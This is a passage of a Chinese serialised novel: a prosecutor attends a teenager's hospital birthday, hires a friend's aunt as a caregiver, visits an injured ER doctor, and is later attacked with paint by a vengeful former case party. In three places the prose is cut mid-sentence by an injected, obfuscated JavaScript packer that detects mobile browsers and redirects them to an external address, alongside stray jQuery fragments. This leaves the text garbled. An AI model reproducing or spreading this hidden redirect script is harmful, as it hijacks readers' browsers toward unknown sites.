“你太厉害了戚哥,”李长乐一边感叹一边拿出手机给蛋糕拍照:“手机先吃。” 李长乐拍完照后,几人便开始吃饭。吃了一会,戚玉衡的手机响了一声,戚玉衡拿出来一看,发现沈灵均给他发了消息。 【Shen:你一会可以出来一趟吗[愉快][愉快]?我在楼梯间等你】 戚玉衡一愣:沈灵均现在就在外面? 沈灵均的下一条消息很快就来了: 【Shen:不用告诉长乐我来了[爱心]】 戚玉衡借口去探望同住在医院的长辈,提着礼盒溜出了811,来到楼梯间。 今天沈灵均也穿了一身黑,但是又与他们初见那晚的穿搭有些不同:他穿了一套黑色的双排扣西装,扣子被沈灵均扣得规规矩矩。但他上身的内搭不是衬衫,而是一件黑色的高领衫,领口正好卡在沈灵均的喉结上方。全身上下唯一的亮色就是他西装驳头上的一根驳头链:链条是银色的,驳头眼里的胸针是一颗豌豆大小的蓝宝石,周边镶了一圈碎钻——在楼梯间昏暗的灯光下,这枚小小的胸针也闪着夺目的光。 天啊,这是去上班还是去走秀啊。 戚玉衡扫了沈灵均一眼,就感觉眼睛都不知道该往哪摆了,下意识地想低头,但又觉得低头和沈灵均说话实在不礼貌。他的视线来来回回转了几圈,最终落在了驳头链上面的那枚胸针上。 “沈检,你来给长乐过生日?” “嗯。” 戚玉衡低头看着被沈灵均放到地上的蛋糕盒:“那你……不进去吗?” 沈灵均摇摇头:“我就不进去了,你们刚才气氛很好,我就不打扰了。” 戚玉衡忙说:“你来怎么会是打扰?!” 沈灵均笑了笑:“长乐他……是不是把我们之间的事告诉你了?” 戚玉衡点点头,紧接着就道:“但长乐不讨厌你!他心里很感激你。他和你说话时,有的时候语气和态度确实不太好,但他真的不讨厌你,他只是……” “我知道,我一直知道他不讨厌我,但……”沈灵均说到这,顿了顿,随后才继续往下说:“但心里的感情是很复杂的吧。换位思考,我肯定也是一样。很多时候,他只是不知道该怎么面对我。毕竟我的存在本身,就一直在不断提醒他他父亲去世的现实。刚才你们气氛那么好,我一进去,他可能又会觉得别扭、纠结、不自在,所以我最后没进去。” 戚玉衡一时之间不知道说什么好。 沈灵均继续说着:“我真的很感谢你和何阿姨。长乐从小父母就不在身边,所以非常依赖他的爷爷奶奶,如今他爷爷奶奶的这个情况……我虽然很想安慰他,但是心有余而力不足。我不是能让他依赖、让他敞开心扉、让他能在这个时刻稍稍放松一些的人。你和何阿姨能在这个时期陪在他身边,我真的很感激。” 戚玉衡连连摆手:“我和阿姨只是帮了一点小忙……” 沈灵均把手里的东西递给戚玉衡:“这是我一点小小的心意。两套护肤品,你和阿姨一人一套。希望你不要觉得,作为一个男生,收到这种礼物很奇怪。” 戚玉衡立刻推拒道:“当然不会!但这个谢礼我真的不能收。我没做什么。” “你就收着吧。但你别立刻拿回去……我不想让长乐知道我来过。我刚才问了护士站的护士,她们说可以暂时放到她们那里,一会我送过去,你和阿姨回家的时候再取走就可以了。收下吧,我之前不是说我妈妈是卖护肤品的吗?我家里这类产品真的可以说是堆积如山,这套护肤品也不贵,就是我的一点心意。而且这也不是给你一个人的,还有阿姨的份呢。你不收,我感觉我的谢意没传达到。” 听他这么说,戚玉衡最终点点头:“……好,”随即,戚玉衡便把自己手里的礼盒递到沈灵均面前:“这个、这个,是我的一点心意,这段时间也真的是麻烦你很多,这里面是我自己手作的一些甜点,甜的、酸的、苦的,我都做了一点……也不知道合不合你的口味,你别嫌弃。” 沈灵均愣了一下,很快就接了过来:“诶呀,怎么长乐过生日,我还收到蛋糕了?谢谢。你的手艺,一定不差的。” 沈灵均小心地捧着那个礼盒:“对了,一直没问你,你那个哥哥现在怎么样?雅雯怎么说?你们下一步有什么打算?” 戚玉衡苦笑着摇了摇头,将王子睿的情况如实告诉了沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601302|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵均。 沈灵均听完后沉吟了一会,说:“那叔叔阿姨现在有什么打算?等出院之后,他们是打算回老家吗?” “叔叔应该是回老家,阿姨……她想留在容州找一份工作。我叔叔这一病,花掉了他们两个大半的积蓄,子睿哥又是这个情况……我叔叔现在生活基本能自理了,我阿姨就想留在容州工作赚钱,赚一些生活费,也为我哥攒攒被判之后要交的罚金。虽然肯定没办法一次缴清,但能攒一点是一点。” “阿姨想找什么样的工作呢?” “她最想去的是早餐店,因为她和叔叔以前就是在容州开早餐店的。其次就是后厨的工作,刷刷盘子、做保洁这类,”提到这个话题,戚玉衡心中有些沉郁:“她年纪大了,工作不好找。” “其实,我这边可以为阿姨提供一份工作,阿姨可以考虑看看。” 戚玉衡抬起头,微微瞪大眼睛:“什么工作?” “你可能已经知道了,如果一切顺利的话,长乐奶奶明天就能转出ICU病房了。医生跟我说,长乐奶奶虽说平安度过了这一劫,但不太可能恢复到可以生活自理的状态,之后可能说话都成问题。爷爷那边长乐还可以照顾一下,奶奶这边,性别有别,让长乐来照顾并不方便。所以我打算在奶奶住院期间再给奶奶请两个女护工,白天一位,晚上一位。我想让何阿姨负责白天,价格……就按三百一天?可以吗?” “等奶奶出院之后,我也想找保姆陪护两位老人。如果何阿姨愿意的话,我想请她来做这份工作。因为要照顾两个生活不能自理的老人,这活肯定又脏又累,薪酬方面……包吃包住,一个月两万。你可以帮我问问何阿姨的意思。” 其实根本不用问,在沈灵均说完话的那一刻,戚玉衡就已经知道何秀红会给出什么样的答案。这对何秀红来说简直是天上掉馅饼的好事! 在医院待了这些天,戚玉衡了解护工的市场价——只上白班的女护工,就算是护理患有传染病的生活不能自理的病人,日薪一般也不到两百。同样的,对于住家保姆的薪资,沈灵均给出的价格也远超行业平均水平。 戚玉衡觉得眼眶发烫,他几乎想给沈灵均鞠一躬了:“好,好,我一定会问阿姨的,我今晚就给你答复!真的……谢谢你!谢谢你,沈检!” “诶呀,没事的。这有什么好谢的,你是不知道,找一个靠谱的护工和住家保姆有多难。找何阿姨能为我省去很多找人、考核的麻烦事,”沈灵均提起地上的蛋糕,笑道:“那我就先走了。” 回到病房后,吃过晚饭,戚玉衡以王晖要换衣服为借口,拉上了病床旁的遮挡帘,压低声音,将沈灵均的话转告给了何秀红和王晖。戚玉衡话音未落,何秀红就低声喊道:“我去,我愿意去!” 何秀红激动地握紧了双手,连说了几个太好了。何秀红眼睛发红:“但是沈检给的钱真的是太多了,太多了……不能让沈检花钱雇我做护工。他不开口,我都会帮忙照顾奶奶的呀!怎么能要那么多钱!他之后还愿意雇我做保姆……诶呀,”何秀红拍了拍王晖的手:“我们是遇到贵人了。” 王晖歪着嘴点了点头。 戚玉衡也道:“是啊……是遇到好人了。这样,我之后就把您愿意干的事告诉沈检,薪资的事,您自己跟沈检聊。” 这是自听说王子睿出事之后,何秀红心中最畅快的时刻。想到自己又能赚上钱、王子睿的罚金有了指望,何秀红一边不住掉眼泪,一边问戚玉衡道:“这段时间我们只顾着自己的事,也没问你……小戚,你现在,还差多少钱没还呢?” “还差个四百多万吧。” “还……还差四百多万呢?!” 戚玉衡笑笑,用轻快的语气说道:“是。但您也不用担心,现在店里生意很不错,我赚得比以前多不少,再有个十年吧,我觉得就能把所有账都还上了。” 25.第 25 章 这周四是李长乐的生日。在李长乐小的时候,沈灵均给李长乐送过几次生日礼物,多为小孩子喜欢的玩具,变形金刚、奥特曼、遥控车这类的东西。但当李长乐过了玩这些东西的年纪时,沈灵均的礼物也再也送不出去了。 心智日益成熟的李长乐,在面对他时内心的情感也变得愈加复杂。在连续几年送生日礼物都失败后,沈灵均也不再尝试了,只是每年李长乐生日时他都会给许三妹转去一笔钱。 往年,沈灵均并不会在李长乐生日那天登门拜访,只会在微信上祝福他一句。但今年沈灵均打算去给李长乐过生日:第一,这是李长乐的十八岁生日,是他的成人礼,这个生日对他来说意义非凡;第二,李斌和许三妹如今都在医院住院,李长乐今年只能孤零零一个人在医院过生日,境遇实在有些凄凉。沈灵均想去陪陪他。 于是下班后,沈灵均去蛋糕店取了他预定好的蛋糕,赶往医院。在811门口,沈灵均听到了生日快乐歌。他小心地推开门走了进去,发现戚玉衡何秀红李长乐正围坐在李斌的病床旁,李斌面前的折叠桌上摆着蛋糕和饭菜,戚玉衡和何秀红正在唱生日快乐歌,蛋糕上18的数字蜡烛顶端正跃动着火光。 李长乐背对着他,看不见他。而戚玉衡和何秀红虽说面朝着他的方向,但因为他们的注意力都在蛋糕上,二人也并没有发现他。 沈灵均看见,戚玉衡在笑。沈灵均看过很多次戚玉衡的笑脸——感激的笑、不好意思的笑、小心翼翼的笑,但哪一次都与这一次不同。他笑得很放松、很开怀,在蜡烛火光的映衬下,显得很温暖。 沈灵均默默地看了一会,觉得此时他若是出现,会是对这气氛的一种打扰。 他退出了病房。 把戚玉衡叫出来说了两句话后,沈灵均离开了住院楼。沈灵均本想直接回家,人已经坐到车上了,他改了主意——由于计划有变,他订好的生日蛋糕现在送不出去了。沈灵均想着,陈彦博爱吃甜食,如果陈彦博今天值夜班,他就借花献佛拿蛋糕去犒劳一下他。 他给陈彦博发了两条微信,陈彦博都没理他。陈彦博不上班的时候手机基本不离手,发消息一般都会秒回,看这情况,他八成在值班。沈灵均于是打算直接去找他。 刚走到急诊入口,还没进门,就听到一阵熟悉的警笛声,一辆警车在他身后停了下来,从车上下来两个民警。 沈灵均和两位民警一块进了门,发现急诊大厅这会乱成一团,大厅里人声嘈杂,两个穿着保安衣服的人正和一个穿黑T恤的男人拉拉扯扯,地面上有很多水,还散落着很多一次性针筒等医疗用品。 看这场面,八成是出现医闹了。果然,两位民警和保安交谈了两句后,便上前想要把那穿黑T恤的男人带走。但这时,一个哭泣的女人拽住了民警的胳膊,不想让他们把那男人带走。民警教育了她好一会,她才眼泪汪汪地松了手。 警察和保安走后,大厅内的躁动慢慢平息了,两个年纪很轻的护士拿着拖把和笤帚开始收拾地面。沈灵均走上前问她们道:“你好,请问一下,陈彦博陈医生今天值班吗?” 两个护士表情变得有些微妙,其中高一些的那位道:“你认识陈医生?你是陈医生什么人啊?” “我是他朋友。” 高个护士哦了一声,随后指了个方向:“陈医生在急诊外科二诊室缝针呢。” 沈灵均皱起眉:“缝针?被缝针?他怎么了?刚才那个男人把他打伤了?” “不是打的,但也差不多了。是那个男的把陈医生推倒了,结果当时我们一个同事正好推着车从陈医生后面经过,车倒了,陈医生头磕到车上,磕坏了,”矮一些的那个护士语气很是愤愤不平:“车上的器械和输液袋都掉在地上,他还踩破了好几个袋子,把药水弄得满地都是。” 沈灵均对她们道了声谢,到外科二诊室门口等陈彦博。过了五六分钟,门开了。陈彦博头上戴着医用网兜,表情很臭地走了出来。 因为知道陈彦博伤得并不严重,外加陈彦博这个造型确实滑稽,沈灵均看了他一眼,就忍不住地笑了出来。 陈彦博先是有些震惊:“我草,你他妈吓死我了。杵这儿干嘛?你怎么在这儿?” 随后他怒道:“笑什么笑?我现在很好笑吗?” 沈灵均清了清嗓子:“咳,这个造型,确实……有点好笑,显得你头好圆。” 陈彦博摸了摸自己的头:“头圆是好事啊。我就知道,你心里有我。夸我呢是吧?” “你都这样了,要直接下班吗?” 陈彦博没好气地说:“不能下,我们科今天特别忙。今天没排夜班的几个医生,除了需要值白班和下夜的,有两个得了甲流,现在都在家躺着呢,有一个今天女儿过生日,叫哪个来顶我的班我都不好意思。反正我这伤也不严重,我就正常干了。” 陈彦博看向沈灵均手里的蛋糕:“哦,今天李长乐生日?你连蛋糕都没送出去?” “不是没送出去。小戚给长乐做了蛋糕,我去的时候他们已经吃上了,我就没进去,所以就想着……” “就想着让我当个垃圾桶,帮你处理一下蛋糕。” “你就说吃不吃吧?” “吃。” 陈彦博这会正好没事,他和其他同事打了个招呼,把沈灵均带到了他们急诊的值班室。 这会值班室里只有他们两个人,沈灵均切了一块蛋糕递给陈彦博,指了指他的头:“到底怎么回事?那男人为什么推你啊?” 陈彦博往嘴里塞了一大口蛋糕,翻了个白眼,含含糊糊地说道:“他和他老婆带他女儿来看病。但是今天急诊很忙,自由大路那边出了个连环车祸,伤者全送我们院来了。五六个需要手术的重伤病患,皮外伤的也一堆。忙啊,所以很久都没叫到他的号。他女儿刚十一个月,还不会说话呢,难受就是哭嘛。孩子一哭,父母受不了,再加上他们上午到的医院,下午还没看上病,本来就等得不耐烦了,就在大厅里嚷嚷起来了。” “那会已经快到他的号了,他前面的两个患者感觉身体上的问题不大,人都特好,看孩子哭都说让他先看,我就先给他看了。查完体之后我让他们做检查,甲流检测血常规肺部彩超……那小孩症状就很像是脑膜炎,检查结果里面的几项指标也都指向脑膜炎,我就建议他们做腰穿。” “腰穿疼,孩子又小,他们不忍心让孩子做。但脑膜炎想要确诊肯定得做腰穿啊,他们就问能不能用其他检查代替,CT脑电图什么的…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655737|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能啊!好说歹说,同意做了,但做之前得输甘露醇降压,甘露醇那个药它又刺激血管,疼,输上孩子就哭。那会她父母的情绪就很焦躁了,后来做腰穿,孩子的哭声更是震天响。做完腰穿之后,他们问我结果什么时候出来,我说至少四个小时。结果四个小时的时限一过,护士就告诉我说孩子父亲在大厅闹事。” “然后,”陈彦博摊开手:“剧情就很简单了,我过去还没说上两句话,他就给我推一个大屁墩儿。看小孩难,看急诊难,看小孩的急诊更难。怪不得我们班每一个做儿科的呢,工作太难做。” 沈灵均啧了两声:“你这身体也不行啊,那男人看着就一米七出头,身材也不壮实,你还让他给推倒了?” 陈彦博斜了沈灵均一眼:“你知道这是谁的责任吗?” “谁的?” “你的。我今天晚上忙的没空吃饭,你这个蛋糕但凡早半个小时送来,我腿上都有劲儿,都不至于让他给推成这德行。” 陈彦博指向沈灵均放在桌子上的礼盒:“你这又是什么?给李长乐买的生日礼物?” “不是,是小戚送我的蛋糕礼盒,说是感谢我帮忙。之前他在医院腰突犯了,我帮了他一点点小忙。他这个人啊……为人太客气了。” “哦对,他是开蛋糕店的……我能打开看看吗?” “开呗。” 陈彦博打开礼盒后哇了一声:“好精致啊,九宫格呢。这里面好几种我见都没见过。” 礼盒里面是九个小盒子,每个盒子上面贴了标签,标明了品名。标签上的字迹跟沈灵均贴在书立上那张便利贴上面的字迹一模一样,铁画银钩、遒劲有力。 “这什么……蜜桃蒙布朗,这是啥?好高大上的名。还有歌剧院蛋糕,这个我吃过……哇,这小哥真是很用心啊,你知道做一个这种蛋糕得多久吗?” “多久?” “至少四五个小时吧,老费劲了,所以甜品店卖的特别贵,我上次在一咖啡厅吃了一块,不大点一块儿,我吃了四五口就没了,你猜多少钱?” “四十?” “没见识了吧,九十八。” 沈灵均有些意外:“这么贵?” 沈灵均看着那精致的九宫格,喃喃道:“一种就这么费功夫了,他还做了九种……” 陈彦博搓了搓手:“……我能吃吗?” “吃呗。我也有点饿了,一起吃吧。” 但陈彦博还没来得及把点心从礼盒里拿出来,他手机就响了。护士告诉他,那个疑似脑膜炎的女孩的穿刺结果出来了。陈彦博于是把盘子里最后一点奶油刮进嘴里,站起身道:“不吃了不吃了,我先走了啊,你就自己回吧。” “嗯,你走吧。” 陈彦博的工作热情似乎并没有被这个插曲所影响——他可能已经习惯了。急诊向来是医患矛盾最尖锐的科室,陈彦博运气不怎么样,脾气还一点就着,从业以来遭遇了好几次医闹,算上这次,已经是第三次挂彩。 此时此刻,沈灵均对陈彦博既佩服又羡慕。陈彦博对待工作的心态与热情,都是现在的他所不具备的。曾经的他或许具备吧。 沈灵均发了会呆,把礼盒里的甜点留给了陈彦博一部分,回家了。 26.第 26 章 十月的最后一周,李斌出院了,但许三妹还需要在医院住至少两周。在沈灵均的劝说下,李长乐复学了——李长乐一开始并没同意,但第二天却主动给沈灵均发来消息说愿意去上学。沈灵均合理怀疑,这是戚玉衡劝导后的结果。 沈灵均为李斌请了位男保姆,让他暂时在家照顾李斌的生活起居。王晖已经出院回了老家,何秀红则留在医院照顾许三妹,等许三妹也出院后,她将作为住家保姆照顾李斌和许三妹。 需要照顾两个失能老人,沈灵均其实很担心何秀红一个人忙不过来。他考虑过请两个保姆,但这个想法很快就被他自己给否决了。不说李长乐同不同意,李长乐家不到七十平的面积就很难容纳包括两个瘫痪老人在内的五个成年人舒适的居住和生活。而且,只请何秀红的话,何秀红也能心安理得地拿高薪。 沈灵均打算先让何秀红干一段时间试试,如果实在忙不过来,他就租个能容纳下李长乐一家三口以及两个保姆的新房子,再请一位保姆。 戚玉衡已经从腰突急性期康复了,两人讨论过后,最终敲定:戚玉衡每周一、三、五、日晚上八点半至十一点半来给李长乐补课,一节课四百。 许三妹度过危险期这件事,让沈灵均心里轻松不少。他自觉心理压力有所减轻,但他的失眠问题却依旧没有得到任何改善,甚至隐隐有加重的趋势。褪黑素已经无法让他顺利入睡,失眠严重的时候,他一天只能睡三四个小时。 沈灵均不得不直面一个事实:他很可能患上了睡眠障碍。 但生病就治,沈灵均倒也没有太沮丧,他打算在周五请半天假,去医院看医生。 但这假根本用不着他请,自己就来了。 周四下午,沈灵均和余绵绵一起下的班。在电梯里,余绵绵发现沈灵均没有按负一层,有些奇怪:“沈哥,你今天没开车啊?” “我车送去保养了,今天我坐地铁回去。你是不是也坐六号线?我们同路。” 出了检察院大门,沈灵均看着余绵绵,忍不住八卦了一下:“绵绵,你和乔警官……还在冷战吗?” 余绵绵的嘴角立刻撇了下来:“嗯。我估计我们俩是要黄了。” “他一直没联系你?” “那倒不是,他还是联系我了的……但我问他为什么不见我父母、又不让我见他父母,他还是那副支支吾吾的样子,说过几天会给我一个解释。我真不知道他有什么好解释的。呵,其实就是没认真和我谈呗,我猜他也不是想解释,是要提分手!正好,我也想跟他分了。黄就黄,这一个拜拜,下一个更乖!” 余绵绵说这话的语气并不算好,但表情却有些落寞。沈灵均知道,她对这段感情的态度并非像她如今展现出来的这样云淡风轻,而他对乔瑜要“解释”的事也有个大概的猜测,于是道:“我觉得乔警官不是那种随意对待感情的人,应该是真心想和你解……” 沈灵均话还没说完,就听见背后传来一阵急促的脚步声。他下意识地回过头,只见视野内出现了一个他有些熟悉的人影,但还没等到他看清,他的眼睛便传来了一阵剧痛! 他听到一阵滋啦滋啦的声音以及余绵绵的尖叫,应该是有人拿着不知道装了什么东西的喷瓶在对着他们两个喷。沈灵均本能地将拿着公文包的手用力往前一甩,只听当啷一声。 随后,很多声音混杂在了一起:沈灵均听到了余绵绵骂了句“我草”,听到了他们检察院保安亭老刘在喊“不许动”,还有两个他分辨不清的声音在说话。沈灵均尝试着把眼睛睁开,但是刚睁开一个缝,他就感觉到眼部的疼痛变得更加剧烈,眼前更是一片漆黑。 他只得继续紧紧地闭着眼睛。 过了大约十几秒,沈灵均感觉一只手扶住了他的胳膊,随后,他听到了他们部检助袁杨的声音:“沈检?你怎么样?咱们先回院里洗一下吧!” “我没事,绵绵呢?” 余绵绵的声音响了起来:“沈哥,我没事,我没事。” “……她喷的什么?” 袁杨答道:“好像是油漆。” 在袁杨的搀扶下,沈灵均回到了办公楼,在一楼的洗手间冲洗了好一会眼睛。用水冲洗过后,沈灵均能睁开眼睛了,但是他的眼睛依旧很疼,还不受他控制地流眼泪。余绵绵脸上也被喷到了一些油漆,但是万幸,油漆没喷到她眼睛里。 袁杨看着沈灵均的样子,道:“沈检,我们去医院吧。我打电话叫救护车?” “不用,咱们这离容大附属没多远,我打车去就行,”沈灵均克制着揉眼睛的欲望,道:“那个……袭击我们的人呢?” “被咱们院保安按住了,保安们应该报警了。” 余绵绵在一旁愤然道:“是那个寇大姐吧?我看着像她。” 沈灵均心里认同余绵绵的判断,但他毕竟没看清袭击者的脸,于是只说:“……很可能是她。” 三人从办公楼里出来的时候,一个民警正在和他们检察院的保安说话。保安率先看到了他们三个,立刻用手指向他们的方向。那民警于是走上前来和他们交流,在得知沈灵均三人要先去医院后,他没有多说,只是叮嘱沈灵均和余绵绵之后来龙华大道派出所做笔录。 沈灵均在余绵绵和袁杨的陪同下去了容大附属医院,医生为他刮除了角膜上残存的油漆,给他开了一些眼药水。从医院出来后,两人一同去了派出所做笔录。 作案的人果然是寇欣。 做完笔录回到家后不久,沈灵均就接到了他们部主任关梁的电话,说院里已经知道了他的遭遇,对此高度关注,给他批了两周的假,让他安心在家休养。沈灵均客套了几句,挂了电话。 医生说他角膜有轻微损伤,近几天最好不要过度用眼,也不要过多地接触电子产品,手机、电视、电脑、书,最好一样都别看。沈灵均于是彻底无所事事了起来。 拉了会琴,沈灵均在房子里来回打了几个圈,决定给自己做个饭。 平日里,沈灵均下厨的次数并不多:市检提供早饭和中饭,而他晚上又经常往拳馆跑,锻炼结束后时间通常已经很晚,他于是往往外食或叫外卖。 或许是因为下厨的次数不够多,沈灵均的厨艺水平属于“有一点但不多”,这让他更加喜欢外食和外卖,因此下厨的次数更少……形成了一个完美的闭环。 冰箱里的菜并不多,沈灵均最后拿出了冰箱里唯二的两种蔬菜——番茄和芦笋,又找出一块牛肉和两个鸡蛋,决定做芦笋牛肉和番茄炒蛋。他照着网上的菜谱做的,自认全程没有出任何错,但最终做出来的成品在他看来也就是能吃的程度,和好吃沾不上一点边。 沈灵均决定明天继续吃外卖。 吃过饭消了食,沈灵均又做了几组自重训练,随后便早早的上床睡觉。然而,毫不意外的,他又失眠了。在床上辗转反侧了一个多小时,沈灵均还是没有丝毫睡意。 于是,晚上十一点,沈灵均又从床上爬了起来——继续躺着也是睡不着,沈灵均决定出去夜跑。或许跑累了、把精力消耗干净了,他回来就能睡得着了。 换了身衣服,沈灵均就出发了。他没有给自己规划特定的路线,遇到路口就凭感觉随意拐弯。智能手环显示他已经跑了十二公里的时候,沈灵均停下来歇了口气,打算原路返回,一来一回,正好一个半马的距离。 随后,沈灵均发现周围的环境他有些眼熟。 沈灵均左右看了看,想起来这是哪了——戚玉衡驻唱的Resonate不远。沈灵均站在原地犹豫了一会,最终朝Resonate的方向走去。 一推开Reso ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673347|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' nate的大门,沈灵均便感觉出了一些不同:Resonate和他上一次来的时候不一样了。人多了很多。 上一次他来Resonate的时候,Resonate还有很多空位,但今天几乎可以说是座无虚席。沈灵均仔细地看了一圈,发现比之他上次来的时候,今天Resonate的女客明显增多了不少,她们中有很多人举着手机在拍照——在拍演唱台上的人。 今天是周四,是戚玉衡驻唱的日子。 但戚玉衡此时没在唱歌,只是抱着吉他弹曲子。他原本一直在低头看吉他,但就在沈灵均找座位的当口,他抬起了头,对上了沈灵均的视线。他手下原本流畅的曲子立刻打了个磕绊。 沈灵均抬手跟他打了个招呼,在店内又转了转,最终在吧台处找到了个空位。 吧台后的调酒师还是他上次来时见到的那一个:三十五六岁的模样,一米八左右的个头,长相清秀而斯文,戴了副无框眼镜,白衬衫,灰色的西装马甲和西裤,很多酒保都会穿的工作服,穿在他身上却有种斯文败类的感觉。等沈灵均坐下,他主动和沈灵均搭话道:“您这是第二次来吧?” 沈灵均点点头,有些惊奇:“您还记得?” 他笑了笑:“您上次和您朋友坐这,”调酒师指了个位置,“面朝着我,您和您那位朋友都很帅的,轻易忘不了。但您这……”他指了指沈灵均依旧泛着红的眼睛:“这是怎么了?” “啊,这个,眼睛不小心受伤了。” 调酒师的表情变严肃了一些:“眼睛受伤了?严重不严重啊?” “没什么大事,滴几天眼药水就好了。感觉店里的生意比我上次来的时候好了很多啊。” “嗐,”调酒师指向戚玉衡,“还不是因为小戚。几天前,有个客人给小戚拍了个视频,发到短视频平台上去了,所以这几天有好多被小戚吸引来的客人,店里都快一座难求了……您喝点什么?” 医生给他开药的时候有叮嘱他不要喝酒,所以沈灵均点了杯无酒精饮料。饮料刚送到沈灵均手里没多久,戚玉衡的歌声就停了:“今天就到这里,谢谢大家捧场。” 沈灵均看了眼手环:晚上十二点。 戚玉衡说完,便想走下唱台,但有几个女孩围在了演唱台边上,沈灵均听不清她们说了什么,但看样子应该是和戚玉衡要合影,戚玉衡和她们拍了很久的照。随后,戚玉衡就抱着吉他,快步走到他身边:“沈检,你怎么来了?” “我不能来吗?”沈灵均笑着道。 戚玉衡连忙摇头:“我不是这个意思,因为明天是工作日……” 戚玉衡说到这,忽然弯下腰往沈灵均的方向凑了凑:“沈检,你眼睛怎么了?!” “就是一点小伤……” 这时,有两个刚才和戚玉衡合照的女生和他打招呼道:“再见啦小戚,我们下次再来!” 戚玉衡直起身朝她们挥手:“好,欢迎你们下次再来。” 沈灵均见状,问:“是认识的人吗?” “不是。她们前天来过一次,听老板叫我小戚,就也这么叫了。但她们看着也就是大学生,我至少比他们大五六岁呢!” 因为吧台没有能给戚玉衡坐的空位,沈灵均便端着饮料和戚玉衡坐到了那两个女孩刚才的位置。刚一落座,戚玉衡连珠炮一样的问道:“你眼睛是怎么受伤的?严重吗?红得很厉害,还有些肿……有去看医生吗?” 或许是他现在确实需要一个倾诉对象、或许是戚玉衡让沈灵均觉得可以信任、或许是因为戚玉衡脸上的担忧和焦急无比真诚,沈灵均短暂地犹豫了一下,最终选择了坦诚相告:“比较倒霉。让以前经办过的一个案子的当事人,用那种喷漆罐照着眼睛喷了一下。已经看过医生了,医生说没有大碍,你放心。” 27.第 27 章 戚玉衡的眉头皱得死死的:“没事就好,没事就好,眼睛很脆弱的,眼睛的问题可一定不能小看……怎么能拿油漆这种化学物品往人眼睛里喷呢?那那个袭击你的人呢?你有报警吗?” “有。警察很快就来把她带走了。” 戚玉衡表情变得有些纠结,沈灵均莫名有种直觉:戚玉衡在犹豫要不要问他遇袭的原因——但一般人——熟人之间都会不假思索地继续问下去的。果然,过了两三秒,戚玉衡道:“他是因为案子的事,对你怀恨在心吗?他对判决不满意?” 他们已经认识有一段时间了,最近这段时间他们更是经常见面,戚玉衡又是热心善良的性格。无论从哪个方面讲,沈灵均都觉得他们是熟人了——甚至可以说是朋友了。但是沈灵均总觉得他们二人之间很是疏离。戚玉衡面对他时总是……很紧张?太客套?过于慎重?沈灵均说不好。 心里思绪纷杂,但沈灵均很快就回答了戚玉衡的问题:“嗯,对。那个案子是……我差不多四年前办的了。一桩杀人案,嫌疑人和被害人是夫妻,被害人常年酗酒和家暴嫌疑人,不堪忍受的嫌疑人最终在一个晚上,趁着被害人醉酒熟睡,拿着家里的菜刀将被害人砍死了,随后她就自首了——嫌疑人是这么对警方交代的。” “我看完了卷之后,和嫌疑人见了几次面,觉得这个案子办得不够严密,证据上有漏洞,就把案子退回给公安,让他们补充侦查了。之后公安那边又侦查了一段时间,最终确认凶手并不是被害人的妻子,而是被害人的女儿。被害人妻子是为了女儿顶罪,才主动自首认罪的……被害人女儿被刑拘之后很快就交代了。” “最后,被害人女儿因为故意杀人被判了八年零九个月,她母亲也因为包庇被判入狱十个月。” “出事的时候,被害人的女儿马上高三了。成绩很好,在省实验能排到前一百名,保持这个成绩的话,高考考个头部985没问题,”沈灵均垂着眼睛,喝了口饮料:“因为她是个学霸嘛,这个案子又是从妻杀夫演变为女杀父,被害人有常年家暴的恶行,案子又有过变更犯罪嫌疑人的情况……嫌疑人的身份背景、社会伦理、犯罪动机,案件侦办过程中的曲折……让这个案子有很多可挖掘的点,再加上辩护律师与一些媒体进行了联络。所以这个案子进展到审判阶段的时候,得到了许多舆论的关注。” “舆论场上有很多声音。有人说警察该出现的时候不出现,不出现的时候乱出现;有人说法院判得太重,被害人罪该万死;有人说检方毁了女孩的一生,为什么不能将错就错、睁一只眼闭一只眼……” 沈灵均转动着吸管:“当然,我一点也不觉得我做错了……” 戚玉衡微微提高声音:“你当然一点错也没有!” 沈灵均对他笑了笑:“她母亲出狱之后,就一直来,”沈灵均顿了一下,说:“纠缠、骚扰我。给我寄一些骚扰信件,到我单位来闹,说我冤枉她女儿,人就是她杀的,我毁了她女儿的一辈子……但她女儿认罪了。证据链也很完整。” 戚玉衡十分不赞同地说道:“她太偏激了。谁触犯了法律,就应该由谁来承担责任。你非常出色地完成了你的职责,你不要因为这种人影响到自己,她现在就是在跟你耍无赖!你千万不要被这件事影响心情。你一点责任也没有。” 戚玉衡的眼神依旧充满着担忧:“还好这次你眼睛没出什么大事,不然她这绝对是又犯罪了吧?就没有办法让她再也没法接触到你吗,她的行为要是变得更疯狂可怎么办?” 